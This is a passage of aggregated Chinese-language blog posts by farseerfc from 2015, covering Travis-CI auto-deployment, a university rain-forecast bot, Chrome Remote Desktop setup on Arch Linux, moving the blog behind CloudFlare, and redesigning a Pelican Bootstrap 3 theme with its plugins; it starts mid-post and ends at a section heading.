這裏要注意最後 git push 的時候一定要加上 --quiet ,因爲默認不加的時候會把 代入了 $GH_TOKEN 的 URL 顯示出來,從而上面的加密工作就前功盡棄了……

根據 travis 的文檔 , after_success 裏寫的步驟只有在 script 裏的全都完全無錯執行完之後纔會執行,這正是我們 push 的條件。目前 after_success 的成功與否不會影響到 build 的狀態。 具體我用的配置見 這裏的最新版 。 在我的 make github調用了 git push 命令,從而執行了 make github 之後就會自動部署到 github 上。

用 Web 編輯並發佈靜態博客

經過以上設置之後,一切正常的話,每次對主 repo 推送更新的同時, Travis-CI 就會自動 拉來更新然後編譯並發佈了。可以放置這樣的圖標 travisIcon 在項目的 Readme.md 中顯示編譯狀態。

這樣設置之後的另一個好處就在於可以利用 Github 的 Web 界面編輯文章內容。在 Github 裏 編輯和保存之後會自動作爲一個 commit 提交,所以也會觸發 Travis-CI 的自動編譯。

在 Github 的 Web 界面中直接編輯文章內容

在 Github 的 Web 界面中直接編輯文章內容

以及雖然目前還沒有好用的 Github 的手機客戶端,不過直接用 Android/iPhone 的瀏覽器登錄 github 並編輯文章的可用性也還不錯,所以同樣的方式也可以直接在手機上發佈博文了。

That is all, happy blogging ~

by farseerfc at February 20, 2015 02:10 AM

February 18, 2015

farseerfc

從天氣預報談談日本的學術氛圍

最近 mazk 說我 life 分類裏的文章太少 ,所以想了想寫了這篇。

很多人問過我爲什麼要來日本留學,嘛原因之一是我英語太差了,相對而言日語比較好。 另一方面,我比較喜歡日本的學術氛圍。這個當然是主觀體會,而不是客觀的評價,只是我 覺得相對於 歐美喜歡研究基礎架構技術日本則偏向實用層面

說個具體一點例子,最近看到這篇新聞說 卢布贬值影响中央气象台预报准确率? ,其中提到:

因为卢布贬值,天气预报的准确率会有所降低

也說道:

不过经我多年的观察,中国中央气象台的预报准确率实在是不怎么样,具体到我生活的地区, 实际天气状况和中国中央气象台预报的出入较大……

相信不少人也有類似的體會。

天氣預報是事關人們生活的重要信息,其準確度對生產生活當然有很大影響。 說到增加天氣預報的準確度,人們自然會想到高性能的超級計算機比如 天河二號 ,想到環繞在地球高空的 氣象衛星 ,想到遍佈世界各地的氣象站觀測臺。想想這麼多耗資不菲的高尖端項目被國家投入, 用來改善天氣預報的準確程度,看起來這的確是一個困難的科研課題。

話說回來,準確預測氣溫、氣壓、溼度、降水概率等等這些事情對於生產生活固然重要, 不過對一般民衆而言,天氣預報最重要的作用就只是回答 明天我該穿多厚的衣服,出門是否需要打傘 這種問題。一年四季換衣服的時機其實並不那麼頻繁,氣溫提升五度或者降低兩度這種程度下人們估計也 不能感覺得到,大體上只要根據「昨天穿什麼衣服,昨天覺得冷不冷」就能作出判斷。另一方面, 出門是否需要打傘 這樣的問題的確只能依靠天氣預報來回答。

那麼解決 出門是否需要打傘 這個問題需要那麼高尖端的技術麼?

我所在的大阪大學情報科學研究科有個已經畢業的學長 今城 健太郎(いまじょう けんたろう) 就對此作出了解答。他的專業不是氣象預測,而是圖像分析處理,純粹的計算機科學學科。 而他的本科畢業設計就着眼於「僅僅分析氣象雲圖,能否高精度預測降水概率」, 其研究成果,就是一個叫 ないんたん 的降水概率預測系統

這個系統有數個會賣萌的Twitter機器人 @ninetan ,每時每刻對 其預測地區的降水情況做播報,同時也有詳細的降水概率曲線圖對 大阪 ( @ninetan_osaka ), 京都 ( @ninetan_kyoto ), 東京 ( @ninetan_tokyo ), 兵庫 ( @ninetan_hyogo ), 和歌山 ( @ninetan_wakayam ) 的各個大學所在校區 兩個半小時內做精確的降水概率預測。比如今天晚上大阪大學三個校區的降水概率圖如下:

今天晚上大阪大學三個校區的降水概率圖

今天晚上大阪大學三個校區的降水概率圖

從上面的圖可以看出這個系統的預測精度是以 分爲單位 的,可以看到 兩個半小時內各地的降水量的大小。比如我可以根據這張圖看出,我所在的吹田校區 將在 21時35分 開始有微弱的概率下起 0.1mm/h~1mm/h 的毛毛雨,到 22時05分 左右這個降水概率 爬升到最高大約45%,從而作出判斷: 我最好在晚上九點左右離開學校回家,避免淋雨。

自從研究室的前輩給我介紹這個天氣預報系統開始,我用了它兩三年了,直觀感覺是 這個系統的預測精度驚人得準確,基本上能接近 《魔法的禁書目錄》中的「樹形圖設計者」 能做的天氣預報的程度, 它說何時會下雨就一定下雨,它說何時雨停就一定雨停。同學們出門和回家的時候一般都會 看一眼這個天氣預報然後決定是否出門。「啊今天晚上9點開始下雨所以早點回家」 或者「啊還有30分鐘雨就停了,再在研究室裏留一會兒」。

這只是一個本科生的畢業設計,所以覆蓋面小(只有5所大學的十幾個校區,只能預測 未來兩個多小時的降水概率),不過僅此而已能做到如此的精度以至於實用,實在讓我 驚訝。系統的測試之初就有人說:

最近ないんたん預告實在太準了,甚至讓人懷疑是不是ないんたん把雨招來的。

不過最近身邊的日本人似乎已經把這個系統的準確當作習以爲常了,就像日本的電車 掐着秒錶準點到站一樣,理所當然。 把天氣預報這種高尖端的技術做到如此實用的地步,這基本上可以代表我對 日本學術界研究方式和研究目的的總體印象了。

嗯今天就寫這麼多,9點到了,我要按照天氣預報的預測,準時回家了。

——寫於2015羊年除夕夜,9點。

by farseerfc at February 18, 2015 12:00 PM

February 13, 2015

farseerfc

archlinux 上用 chrome 實現 透明計算 遠程登錄

透明計算 具體是什麼,因爲他們沒有公開技術細節所以我並不知道,只是看 公開出來的演示視頻 ,感覺似乎只要能從手機上遠程登錄系統桌面,就能算是透明計算了。 如果透明計算真是這個意思,那麼我似乎已經用着這個技術很多年了嘛。

Xorg 上常用的遠程桌面工具有很多,基於 VNC 協議的、基於NX的和基於 RDP 協議的都能找到, 直接 ssh X forwarding 效果也不錯。只是這些方案的一個 不太易用 的地方在於,需要 通過 ip 訪問到遠程的電腦,所以在跨越 NAT 之類的情況下不太容易使用。

於是今天介紹一個使用方便設置也簡單的方法: 通過 chrome-remote-desktop 在 archlinux 上使用遠程桌面。這個方案的優勢在於,藉助 Google 的雲端服務器(內部貌似是XMPP協議下的握手) 方便地實現了 NAT 穿透,無論什麼網絡環境基本都能使用。當然,要支持遠程登錄, 位於遠端的登錄的計算機必須一直開着 Chrome Remote Desktop 的後臺服務。

Chrome Remote Desktop 插件
Chrome Remote Desktop 插件

Chrome Remote Desktop 的客戶端

雖然可能有很多人不知道,不過 Chrome 內包括遠程桌面的功能很久了。只是這個功能的界面默認 沒有提供界面,要使用它需要安裝 Google 官方出品的 remote-desktop 插件 。 裝好之後遠程桌面的客戶端就準備好,可以用來遠程訪問別的計算機桌面了(無論是 Windows/OS X 還是 Linux 都支持)。並且不光可以自己遠程訪問自己賬戶的桌面,還可以遠程協助朋友的桌面。

Archlinux 上設置遠程登錄的服務器

有了客戶端之後還要設置一下纔能讓桌面作爲遠程登錄的服務器。Windows 和 OS X 上 Chrome 會自動下載需要的安裝包,無腦下一步就能裝好了。Linux上由於發行版衆多,桌面配置各異, 所以需要一點手動配置。官方的設置步驟記載在 這裏 其中給出了 debian 用的二進制包和 Ubuntu 12.10 上的設置方式,以下設置是參考官方步驟。

首先要安裝 chrome-remote-desktop 這個包,這個包實際上對應了 Windows/OS X 上用安裝程序 安裝的 Remote Desktop Host Controller。 archlinux 上開啓了 [archlinuxcn] 倉庫的話,可以直接安裝打好的包。或者可以從 AUR 裝。

$ pacman -Ss chrome-remote-desktop
archlinuxcn/chrome-remote-desktop 40.0.2214.44-1
Allows you to securely access your computer over the Internet through Chrome.

裝好之後從會說這麼一段話:

groupadd:无效的组 ID “chrome-remote-desktop”

Please create ~/.config/chrome-remote-desktop folder manually, if it doesn't exist, or else you can't use CRD. The needed files are created by the Chrome app, inside the chrome-remote-desktop folder, after Enabling Remote Connections. To {enable,start} the service use systemctl --user {enable,start} chrome-remote-desktop

You may need to create a ~/.chrome-remote-desktop-session file with commands to start your session

Go to https://support.google.com/chrome/answer/1649523 for more information.

那句報錯是 AUR 裏打的包還沒跟上上游 Google 的更改導致的錯誤, 首先我們需要把遠程登錄的用戶添加入 chrome-remote-desktop 這個用戶組裏。 新版本的 chrome remote desktop 提供了一個命令做這個事情,所以執行以下命令就可以了:

$ /opt/google/chrome-remote-desktop/chrome-remote-desktop --add-user

然後我們需要手動創建 ~/​.config/​chrome-remote-desktop 這個文件夾,內容是空的 就好了,隨後 chrome 會往這裏面放 host#.json 文件用於身份驗證。

$ mkdir ~/.config/chrome-remote-desktop

然後我們要創建一個 shell 腳本 ~/​.chrome-remote-desktop-session ,這是遠程 登錄時的 .xinitrc ,內容麼就是啓動你想在遠程登錄時用的桌面環境。 這裏可以指定一個和你正在登錄的 WM/DE 不同的桌面,比如我啓動 xfce4:

$ cat ~/.chrome-remote-desktop-session
#!/bin/bash
startxfce4
$ chmod 755 .chrome-remote-desktop-session

接下來需要從 Chrome 的插件裏啓用遠程桌面。打開 Chrome 的 Remote Desktop 插件,這時 應該可以看到一個「啓用遠程鏈接」的按鈕。

Chrome Remote Desktop 插件中「啓用遠程鏈接」的按鈕

Chrome Remote Desktop 插件中「啓用遠程鏈接」的按鈕

在撰寫本文的時候, Archlinux 官方源裏的 chromium 的版本和 aur/google-chrome 的版本尚且還是 40.0.2214.111 ,而 Chrome Web Store 中提供的 Chrome Remote Desktop 的插件的版本是 41.0.2272.41 。雖然通常並不要求兩者版本一致,不過貌似最近 Chrome 內部的 Remoting 功能更改了 API 導致可能出問題。如果你找不到 「啓用遠程鏈接」的按鈕,請嘗試一下新版本的 Chrome 比如 google-chrome-dev 。 在這一步啓用之後,老版本的 chrome 應該也就能使用遠程桌面了。

在32位的 Linux 版本上,最近更新的 Chrome Remote Desktop 插件可能無法正確識別 Host 的版本,具體 參考這個 bug

點擊「啓用遠程鏈接」,設定一個 PIN 密碼(不需要很複雜,這裏首先有 Google 帳號驗證保證只有 你纔能訪問),然後就能看到這套電腦的 hostname 出現在「我的電腦」列表裏。

啓用遠程鏈接之後的樣子

啓用遠程鏈接之後的樣子

同時,啓用了遠程鏈接之後,可以在剛剛創建的 ~/.config/chrome-remote-desktop 文件夾中找到記錄了驗證信息的文件。

$ ls .config/chrome-remote-desktop
chrome-profile  host#8cfe7ecfd6bb17955c1ea22f77d0d800.json  pulseaudio#8cfe7ecfd6

然後就可以啓動對應的 systemd 用戶服務了,如果想自動啓動服務要記得 systemctl --user enable

$ systemctl --user start chrome-remote-desktop.service

如果上面的設置一切正常,就可以看到 chrome-remote-desktop 啓動了另外一個 Xorg 執行你 剛剛指定的桌面環境:

htop 中看到的 chrome-remote-desktop 啓動的另外一個 Xorg

htop 中看到的 chrome-remote-desktop 啓動的另外一個 Xorg

然後就可以試着通過 Remote Desktop 插件登錄到這個新開的 Xorg 了:

「遠程」登錄到新的 XFCE4

「遠程」登錄到新的 XFCE4

Linux 版本的 Chrome遠程桌面 和 Windows/ OS X 上的區別

通過上面的設置步驟也可以看出,Linux版本的遠程桌面會在後臺開一個獨立的 X 會話,而不能 復用現在已有的 X 會話。對遠程登錄的用法而言這還能接受,對遠程協助的功能而言有點問題, 因爲正在使用的人不能觀察協助者做了什麼,協助者也不能繼續請求協助的人的操作。

當然目前 Chrome 遠程桌面的 Linux Host Controller 還只是 beta 版本,官方只測試支持 Ubuntu 12.04 和 12.10 (14.04之後似乎有 Bug ),所以不能要求太多。希望以後能改善吧。

Bonus: 手機遠程登錄

手機上的 Chrome 遠程桌面 App
手機上的 Chrome 遠程桌面 App

通過上面的設置就可以從任何一個 Chrome 遠程桌面客戶端登錄剛剛設置的這臺電腦了。 因爲 Chrome 在三大桌面系統 Windows / OS X / Linux 上都有,所以應該能覆蓋大多數桌面 系統了。

除了桌面的 Chrome 之外還有一個客戶端是 Android 上的 Chrome 遠程桌面 App 經過上面的設置之後,從這個 App 也能看到並登錄:

手機遠程登錄

手機遠程登錄

好啦,開始享受國家自然科學一等獎的透明計算技術吧!

by farseerfc at February 13, 2015 11:39 AM

January 26, 2015

farseerfc

換到 farseerfc.me 域名

上個月就在 狗爹(godaddy) 上買了個自己的域名 farseerfc.me 準備用在這個 博客上,當時試着轉到過這個域名,發現 自定義域名(custom domain) 只支持 http 不支持 https ,想着還要買自己的證書,於是就扔在了一旁。不用自定義域名的話, 放在 github.io 上是可以用 HTTPS 的。 今天在 #archlinux-cn 上受大牛 quininerlilydjwg 點播, 發現 cloudflare 有提供 免費的支持 SSL 的 CDN 服務 趕快去申請了一個,感覺非常讚,於是就換過來了。

設置的方法按照 這篇博文 說的一步步做下來,如它所述,用 CloudFlare 的優點如下:

  1. CDN 加速
  2. SSL (HTTPS) 加密
  3. 支持 SPDY 協議
  4. 支持 IPv6
2015年12月29日更新

現在不光支持 SPDY 而且支持 HTTP/2 了。

然後 免費賬戶 的一些缺點有:

  1. CloudFlare 和 github.io 之間的數據不是加密的,因爲 github 自定義域名(custom domain) 還不支持使用自己的證書。這也是一開始我沒用 自定義域名的原因嘛,這沒有辦法……
  2. CloudFlare 給免費賬戶簽名的 SSL 證書比較新,不支持一些老的設備和瀏覽器,比如不支持 老的 XP 系統的 IE 或者 2.x 的 Android。這種情況下沒辦法只能用沒有加密的 HTTP 了。
  3. 不支持 HSTS 頭 ,所以不能從服務器這邊強制瀏覽器用 HTTPS。當然可以放個 javascript 跳轉, 也可以用 HTTPSEverywhere 這種方案。
2015年12月29日更新

如評論中 提到的 現在支持 HSTS 了。

設置步驟

基本按照默認的選項下一步就可以了。

  1. 和那個博主一樣我把 安全級別(Security profile) 降到了 Low ,即使是可疑流量也 不會要求輸入 CAPTCHA 。
  2. 把 SSL 方式開在 Flexible SSL,訪客到 CloudFlare 是加密的,而 CloudFlare 到 github.io 是不加密的。
  3. 把 CDN 開到了 CDT+Full Optimization ,可以對訪問加速。由於是完全靜態的博客,沒有 動態變化的內容,所以應該比較安全。
  4. 服務器設置的一步需要將 域名解析服務器(DNS nameservers) 從狗爹的服務器改到 CloudFlare 的,如下圖:
更改狗爹的域名服務器

更改狗爹的域名服務器

申請好之後就由 CloudFlare 接管域名解析了,接下來在 CloudFlare 的 DNS 設置添加一條 A 類規則指向 github pages 的 IP

更改CloudFlare的DNS規則

更改CloudFlare的DNS規則

等一切都反映到 DNS 服務器上就設置完成了,接下來給 farseerfc.github.io push 一個 CNAME 文件 寫上我的域名就可以了。我用 Makefile 配合我的 pelican 配置做這個:

publish: rmdrafts cc clean theme
  [ ! -d $(OUTPUTDIR) ] || find $(OUTPUTDIR) -mindepth 1 -not -wholename "*/.git*" -delete
  rm -rf cache
  echo $(SITEURL) > content/static/CNAME
  $(PELICAN) $(INPUTDIR) -o $(OUTPUTDIR) -s $(PUBLISHCONF) $(PELICANOPTS)
  $(MAKE) rsthtml

github:
  (cd $(OUTPUTDIR) && git checkout master)
  env SITEURL="farseerfc.me" $(MAKE) publish
  (cd $(OUTPUTDIR) && git add . && git commit -m "update" && git push)
SITEURL = '//' + getenv("SITEURL", default='localhost:8000')
STATIC_PATHS = ['static', 'images', 'uml', 'images/favicon.ico', 'static/CNAME']
EXTRA_PATH_METADATA = {
    'images/favicon.ico': {'path': 'favicon.ico'},
    'static/CNAME': {'path': 'CNAME'}
}

然後把生成的靜態網站 push 到 github 之後可以從項目設置裏看到域名的變化:

Github 配置好自定義域名之後的變化

Github 配置好自定義域名之後的變化

最後把Disqus的評論也遷移到新的域名,disqus有方便的遷移嚮導,一直下一步就可以了。

這樣就一切都設置妥當了。

致謝

最後要感謝提供消息的 quininerlilydjwg ,感謝撰寫設置步驟的 Jonathan J Hunt , 感謝 CloudFlare 提供免費 SSL CDN 服務,感謝 Github 提供 方便免費的 Pages 託管。

by farseerfc at January 26, 2015 02:32 PM

January 25, 2015

farseerfc

重新設計了 Pelican 的主題與插件

2015年2月14日更新

前言: 新天新地,將一切都更新了 [1]

不知不覺間放任這邊長草很久了,從上次 折騰主題 到現在都快三年了, 而從上次 寫了篇告白信 到現在也有快兩年了。 這期間曾經把主題配色從 Bootstrap 2 默認的 白底黑字改成了讓眼睛更舒適的黑底白字,也不過是用 drop-in 的配色方案而已,沒有本質上的改進。

洞中一日世上千載,兩年裏 Bootstrap 已經升上 v3.3 , 而 Pelican 則已經升到 3.5 了。 早就眼饞 Bootstrap 和 Pelican 中的諸多新功能新設計,不過無奈於時間有限只能飽飽眼福。

近日想寫的東西越積越多,終於下定決心花了前前後後 兩個月 的時間重新設計了一遍 Pelican 的主題,配合一些我覺得有用的插件。於是本博客就變成你們現在看到的樣子了。 (以及本篇博文也用了兩個月的時間寫完,其間還發了幾篇別的短文,算是恢復寫博客的嘗試吧。)

在邁阿密參加 ICSR 2015 的時候 拍到的街邊一家叫 Pelican 的旅館
Pelican Hotel

Bootstrap 3 的新設計

  • 全新的 優先移動設備(mobile-first) 響應式(responsive) 設計。 原本Bootstrap 2雖然有響應式設計, 不過諸多細節不能符合我的需求,最終還是得手工 hack @media 查詢去微調。 現在的 優先移動設備(mobile-first) 響應式(responsive) 柵格系統(grid system) 則相對顯得科學很多了,也終於能在手持 設備上看起來舒服一些。諸位可以嘗試改變窗口寬度,或者在不同的手持設備上打開這個 blog ,體驗一下這個頁面在不同顯示器大小中的效果。如果仍有問題歡迎 發 Issue 給我
  • 科學的 導航欄(Navbar) 。 比 Bootstrap 2 那個科學很多了。無論是 保持(sticky) 在上端還是跟着浮動, 或者像這邊這樣 自動隱藏 都很簡單。

更多細節參考 Bootstrap 3 主頁

Pelican 3.5 的新功能

  • Python 2 和 Python 3 統一代碼: 再沒有惱人的 unicode 相關的問題了。這對 blog 系統來說相當重要啊。 而且還能方便切換 pypy 等不同的解釋器。
  • 全新的插件系統:非常多功能強大的 插件 等着你。
  • 增強了導入系統:嗯總算可以導入我的中文的 wordpress 博客了。(雖然那邊長草更久了……)
  • 站內鏈接 :不用 硬編碼(hard code) 目標頁面的鏈接了,可以直接寫源文件的位置然後讓 pelican 處理,這樣能簡化各種 插件(plugin) 和 主題(theme) 的實現。

更多細節參考 Pelican 文檔

新的文件夾佈局

Pelican 的新文件夾佈局

.
├── cache             生成頁面的 pickle 緩存
├── content           讀取的全部內容
│   ├── <categories>      按分類存放的文章
│   ├── pages             像 About 這樣的固定頁面
│   └── static            文章內用到的靜態內容
├── drafts            文章的草稿箱
├── Makefile          生成用的 makefile
├── pelicanconf.py    測試時用的快速 Pelican 配置
├── publishconf.py    部署時用的耗時 Pelican 配置
├── output          -> ../farseerfc.github.io
├── plugins         -> ../pelican-plugins
└── theme           -> ../pelican-bootstrap3

之前的博客 仍然留在 github 上,其中的內容完全搬過來了。開始寫老博客的時候 Pelican 版本較早,沒有形成好的 文件夾佈局,導致生成的文章、使用的模板和撰寫的內容全都混在一起,非常難以管理, 於是趁改版之際用了新的文件夾佈局方式,並分爲 4 個 git repo 分別管理歷史。

首先是存放 總的博客內容的 repo , 其佈局是如圖那樣的。這樣將生成的靜態網站和生成網站用的配置啦內容啦分開之後,頓時清晰了很多。

然後這個內容 repo 中的三個符號鏈接分別指向三個子 repo(沒用 git submodule 管理純粹是因爲偷懶)。 theme 指向 pelican-bootstrap3 ,是我修改過的 pelican 主題。 plugins 指向 pelican-plugins ,由於 plugins 的質量有些參差不齊,其中不少 plugin 都按我的需要做了些許修改,一些是功能改進,另一些則是修bug(比如不少plugin只支持 python 2)。 最後 output 指向 farseerfc.github.io 也就是發佈的靜態網站啦。

接下來從 主題插件 兩個方面介紹一下改版的細節。

主題: Material Design 風格的 Bootstrap 3

上篇 博文 就總結了我爲了這個博客尋找了一堆 CSS 框架,並且最終決定用 bootstrap-material-design , DandyDev/pelican-bootstrap3Bootstrap 3 這三個項目結合的方式實現這個模板的主題。 這三個項目都或多或少經過了我的修改,修改後的項目以 pelican-bootstrap3 爲基礎放在 這裏 ,包括 Bootstrap3 樣式Material 樣式

對 Bootstrap 3 的定製

由於架構完善,修改 Bootstrap 3 感覺非常簡單。另一方面我在 Web 前端技術上的技能點也不多, 所以修改的地方非常有限,只能按我自己的需求定製而已。

響應式設備的大小

修改了 Bootstrap 3 響應式設備的大小
@screen-xs:     320px;
@screen-sm:     598px; /*  768px; */
@screen-md:     952px; /*  992px; */
@screen-lg:    1350px; /* 1200px; */
@screen-xl:    2030px;
@container-sm:  582px; /*  750px; */
@container-md:  930px; /*  970px; */
@container-lg: 1320px; /* 1170px; */
@container-xl: 1990px;

首先把 Bootstrap 3 默認適配的幾個 響應式設備的大小 改成了我需要的大小。 xs sm 的大小分別按照我的手機屏幕 豎屏橫屏 時候的瀏覽器頁面寬度來算, md 是想兼容 Nexus 7 橫屏 960 的寬度以及 一個常見上網本 1024 的寬度。 lg 的大小則按照常見的筆記本 1366 寬的屏幕來適配。

這裏 Bootstrap 3 支持的設備大小的一個問題是,它最多考慮到 1200 像素寬的顯示器,而更寬的 比如 1600、 2048 甚至 2560 像素寬的顯示器現在也並不少見,其結果就是頁面中左右兩側 有很大的空間被浪費掉了。作爲深受這一問題困擾的用戶之一,我用 這裏介紹的方法 給 bootstrap 增加了一類「 比大更大(bigger than bigger) 」的 xl 響應式設備尺寸,寬度設爲支持 2048 像素寬的顯示器,具體的修改反映在 variables.less 文件裏。

根據寬度自動分欄和瀑布式佈局

接下來目標是讓主頁的文章列表像 Google+ 主頁那樣根據顯示器寬度自動調整分欄,使得寬度不同的 顯示器上每個分欄的寬度接近。想要達到的效果是,根據上面定義的屏幕寬度尺寸:

xs 用單欄 流動(fluid) 佈局 sm 用上方單欄文章列表、下方雙欄 側邊欄(sidebar) 固定佈局 md 用單欄文章列表、單欄 側邊欄 固定佈局
導航欄(Navbar)
文章
側邊欄
底欄
導航欄
文章
側邊欄 1 側邊欄 2
底欄(footer)
導航欄
文章 1 側邊欄 1
文章 2 側邊欄 2
底欄(footer)
lg 用雙欄文章列表、單欄 側邊欄 固定佈局 xl 用三欄文章列表、雙欄 側邊欄 固定佈局
導航欄
文章 1 文章 3 側邊欄 1
文章 2 文章 4 側邊欄 2
底欄(footer)
導航欄
文章 1 文章 3 文章 5 側邊欄 1
文章 2 文章 4 文章 6 側邊欄 2
底欄(footer)

一開始純粹用 Bootstrap3 的響應式柵格實現這個分欄佈局,結果發現效果不太理想, 因爲文章列表和側邊欄的高度是變化的,會導致柵格間留下大片空白。後來改用 這裏示範的純CSS瀑布式佈局 實現文章和側邊欄的佈局,具體的實現代碼在 waterfall.less ,總算達到了想要的佈局了。

正文的樣式

最最重要的是文章正文的樣式。這裏我想要達到的效果是,在大屏幕上用更大的字號,讓讀者 看起來更舒適,同時在小屏幕上用比較小的字號,最終保證基本上「一行」的文字數接近。這個修改 主要針對 .jumbotron , 用了 不太科學的方式 代碼太長就不貼全了。

一些細微的定製

把主題配色改成了現在這樣的淡紫色 @brand-primary: darken(#6B5594, 6.5%); ,配合我的頭像風格, 這個修改只需要一行。 接着刪掉了 .btn white-space: nowrap; 讓按鈕的文字可以換行, 這也只是一行修改。

2015年1月29日更新

另外我也不太喜歡 Bootstrap 3 默認在手機上的 摺疊導航欄(collapsed navbar) , 摺疊之後的操作不夠直觀方便而且依賴 javascript 所以有 bug …… 於是我把它關掉了, 具體方式是在 variables.less 把 @grid-float-breakpoint @grid-float-breakpoint-max 都設爲0就可以了。

對 bootstrap-material-design 的定製

這裏定製的地方不多。原樣式中一個不太科學的做法是所有 .btn 都強制加上了陰影 效果,這在已經有陰影的環境裏用的話非常礙眼,像是 Win9x 風格的厚重睫毛膏。既然可以單獨 給每個樣式加陰影,於是就把 .btn 強制的陰影去掉了,只保留鼠標懸停之後強調的陰影。

其它定製的細節麼就是統一配色風格,修補漏洞錯誤,微調響應式效果而已,這裏不細說。

將以上兩者整合在 pelican-bootstrap3 裏

Pelican 實現顯示源代碼按鈕

顯示源代碼按鈕借用了 Pelican 配置中自帶的 OUTPUT_SOURCES 選項將源文件複製到輸出文件夾:

OUTPUT_SOURCES = True
OUTPUT_SOURCES_EXTENSION = '.rst'

然後在 Makefile 裏用 pygmentize 把所有源代碼文件着色:

find -iname "*.rst" | parallel -I@  pygmentize -f html -o @.html @

最後在按鈕按下的時候用 jQuery 載入源代碼:

<a onclick="$.get('{{SITEURL}}/{{article.slug}}.rst.html', function(data){$('#source-code').html(data)});$('#article-content').toggle();$('#source-content').toggle();">

雖然難看的 hack 比較多,但是能用!

雖說 pelican-bootstrap3 是我 fork 出來的,不過由於我修改的地方實在太多,代碼看來基本上 接近重寫了一份。好在之前有給 pelican 寫 bootstrap 2 主題的經驗,這次修改算得上駕輕就熟。 可以對比一下 上游作者的博客 和這裏的樣子體會一下感覺。 具體修改過的地方包括:

  1. 套用 bootstrap-material-design 的各個元素樣式。
  2. 在文章列表模板應用上面提到的 Bootstrap 3 的柵格佈局和瀑布式佈局。
  3. 翻譯到多個語言,這裏在後面的 i18n-subsite 插件裏詳述。
  4. 套用後面會介紹到的各種插件。
  5. 統一側邊欄的樣式到一個模板裏。
  6. 添加 Atom 訂閱按鈕和 breadcrumb 條。
  7. 對正文中出現的插圖,添加點擊放大的功能,通過 Bootstrap 的 modal 實現。
  8. 上面提到的用 這個bootstrap插件 讓導航欄自動隱藏。
  9. 顯示源代碼按鈕 ,也就是每篇文章信息欄中的 按鈕。

插件: 發揮 Pelican 和 reStructuredText 的優勢

先列舉一下我目前用到的所有插件:

PLUGINS = ["i18n_subsites",
           "plantuml",
           "youku",
           "youtube",
           'tipue_search',
           'neighbors',
           'series',
           'bootstrapify',
           'twitter_bootstrap_rst_directives',
           "render_math",
           'extract_toc',
           'summary']

嗯其實不算多。接下來逐一介紹一下這些各具特色的插件。

i18n-subsites

這個插件的目的是創建 國際化(internationalization) 子站(subsite) 。

之前介紹 Pelican 配置的時候就提到過, 原本的 Pelican 就支持一篇文章用多種語言書寫,有 lang 屬性註明這篇文章使用的 語言,以及 slug 屬性註明多語言的翻譯之間的關聯,換句話說同一篇文章的多個語言 版本應該有相同的 slug 和不同的 lang 。然後原本 Pelican 裏對多語言的 實現方式是,首先有一個 主語言 是模板和大部分文章採用的語言,文章列表中會優先列出 用 主語言 撰寫的文章,然後從 主語言 的文章鏈接到別的翻譯版本。 很多博客系統和CMS對多語言的支持都是這樣的,這種處理方式的缺點也顯而易見:作爲 主語言 的語言必須足夠通用,纔能讓進來的人找到合適的翻譯版本,所以通常 主語言 都是英語。

而這個插件做的事情描述起來很簡單:將文章按語言屬性分到多個子站,每個子站獨立放在各自的文件夾。 比如主站是 https://farseerfc.github.io/ 的話,那麼英語的子站就可以是 https://farseerfc.github.io/en/ 。 然後分別對多個子站生成靜態頁面。具體的實現方式是對 pelican 的頁面生成步驟做了拆分:

  1. pelican 按正常情況讀入文章,生成元信息。
  2. i18n-subsites 針對每個語言,覆蓋掉 pelican 的一些選項設置比如路徑和 URL , 分別調用 pelican 的頁面生成器按模板生成文章。
  3. 對共用的靜態內容比如模板的 js 和 css 文件,只在主站中生成,子站中的相應鏈接全部鏈回主站。

雖然描述起來簡單,但是這個插件可以說最大化利用了 Pelican 的插件系統,實現細節相對比較 複雜,大概是我用的這些插件裏面最複雜的了。不誇張的說 Pelican 3.4 支持的新插件 API 和 站內鏈接功能基本上就是爲了配合這個插件的。至於具體它會覆蓋哪些 Pelican 的配置,請參閱它的 README.md文件

按內容拆分多語言子站的做法只解決了問題的一半,還留下另一半的問題,也即對模板的翻譯。 對這個問題, i18n-subsites 提供了兩套方案供選擇:

  1. 用覆蓋配置路徑的方式讓每個子站套用不同的模板。這配置起來簡單,但是對模板維護起來有點困難。
  2. 用 jinja2 的 i18n 插件,配合 Python 的 gettext 庫實現內容翻譯。這個方案 配置起來比較複雜 ,但是配置好之後用起來就很方便了。 只是要記得每次修改了模板都要更新翻譯,處理 *.po 和 *.mo 文件等等瑣碎事宜。

這裏我用 jinja2 的 i18n 插件的方式實現了模板的翻譯, 各個語言的翻譯在這裏 , 然後用 這裏的 SCons 腳本 根據內容是否變化自動更新 po 和 mo 文件。

配置好這一套方案之後,還要注意在模板和文章中處理好鏈接。用 Pelican 3.4 之後推薦的 新的文章間鏈接的寫法以及將 SITEURL 設置爲實際 URL 並且關閉 RELATIVE_URLS 之後,應該就不會出沒什麼問題了(可能還要考慮使用的模板和插件的兼容性,大部分都是寫死了 URL 的問題)。

plantuml

嵌入 PlantUML 的示例
uml diagram

PlantUML 是一個Java實現的, 用接近文字描述的語言繪製 UML 圖或者 GUI 界面圖的工具,非常適合嵌入在 Markdown、 reStructuredText、 AsciiDoc 等這種輕量級標記語言裏。 然後麼這個 plantuml 插件就是定義了一個新的 reStructuredText 指示符(directive) .. uml:: ,把嵌入的內容提取出來調用 plantuml 命令處理 成圖像然後再插入到文章中。

比如示例裏的這個 UML 圖就是用這樣一段簡單的文字描述生成的:

.. uml::

    Object <|-- ArrayList

    Object : equals()
    ArrayList : Object[] elementData
    ArrayList : size()

實際用起來這個插件實現上稍微有點小問題:首先它只支持 python2,所以我把它改寫成了 python 2 和 3 都通用的語法;其次它原本輸出的文件夾似乎會被 pelican 刪掉,所以把它改了個位置; 然後它輸出的 URL 也和 i18n-subsites 插件間有不兼容的問題,也順帶修掉了。 修改之後的代碼在這裏

2015年1月30日更新
嵌入 Ditaa 的示例
ditaa diagram

plantuml 是繪製UML的,除此之外還有一個類似的工具是繪製一般的 流程圖(diagram) 的,叫 ditaa ,和 plantuml 非常像,也比較像 reStructuredText 的表格。 於是我也照貓畫虎實現了一個 ditaa 的 指示符(directive) ,用起來類似這樣:

.. ditaa::

                       +-------------+
                       |   ditaa     |-------+
                       |  Diagram    |       |
                       +-------------+       | PNG out
                           ^                 |
                           | ditaa in        |
                           |                 v
     +--------+   +--------+----+    /----------------\
     |        | --+   Pelican   +--> |                |
     |  Text  |   +-------------+    | Beautiful Blog |
     |Document|   |   !magic!   |    |                |
     |     {d}|   |             |    |                |
     +---+----+   +-------------+    \----------------/
         :                                   ^
         |          Lots of work             |
         +-----------------------------------+

render-math

嵌入公式的示例

